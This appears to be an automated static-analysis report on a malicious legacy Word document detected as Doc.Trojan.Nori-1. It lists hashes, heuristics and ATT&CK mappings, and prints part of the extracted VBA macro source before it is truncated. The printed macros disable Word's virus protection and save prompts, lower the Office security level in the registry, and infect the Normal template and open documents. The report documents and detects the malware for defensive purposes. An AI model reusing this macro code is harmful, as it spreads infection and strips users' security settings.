Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 364de59559fefc28…

MALICIOUS

Office (OLE)

62.0 KB Created: 2002-08-16 11:06:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: b1d826d98f039764500ee90bf669290e SHA-1: 03e83ea6bdf00f3787fbd6abb7b55b35b4620d8a SHA-256: 364de59559fefc28eef26ee2b2557bfe1f88b545ca8433e0b49bccff0aefce11
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a legacy Word document containing VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon opening or closing the document. The 'Unit' module's 'ToN' subroutine attempts to save the NormalTemplate and then delete a file named 'Iron.tmp' from the C drive, indicating a payload drop. ClamAV detection further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Nori-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nori-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12032 bytes
SHA-256: af8bc2a506ebfc85ed86448326bff8f3563f201cffc9c6ca3c85d2e41b55af53
Detection
ClamAV: Doc.Trojan.Nori-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Unit"
                                                                                                Private Sub ToN()
'Iron
                                                                                                On Error Resume Next
                                                                                                file = "c:\Iron.tmp"
                                                                                                Un = "Unit"

                                                                                                With NormalTemplate.VBProject.VBComponents
                                                                                                               '8
                                                                                                 NormalTemplate.Save
                                                                                                    Kill (file)
                                                                                                End With
                                                                                                End Sub
                                                                                                Private Sub ToA()
                                                                                                On Error Resume Next
                                                                                                file = "c:\Iron.tmp"
                                                                                                Un = "Unit"
                                                                                                With ActiveDocument.VBProject.VBComponents
                                                                                                                                          '18
                                                                                                ActiveDocument.SaveAs ActiveDocument.FullName
                                                                                                    Kill (file)
                                                                                                End With
                                                                                                End Sub
                                                                                                Sub AutoOpen()
                                                                                                On Error Resume Next
                                                                                                If Options.VirusProtection Then Options.VirusProtection = Not Options.VirusProtection
                                                                                                If Options.ConfirmConversions Then Options.ConfirmConversions = Not Options.ConfirmConversions
                                                                                                If Options.SaveNormalPrompt Then Options.SaveNormalPrompt = Not Options.SaveNormalPrompt
                                                                                                System.PrivateProfileString("", "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\9.0\Word\Security", "Level") = 1
                                                                                                file = "c:\Iron.tmp"
                                                                                                Un = "Unit"
                                                                                                If NormalTemplate.VBProject.VBComponents.Item(Un).CodeModule.Lines(2, 1) <> "'Iron" T
... (truncated)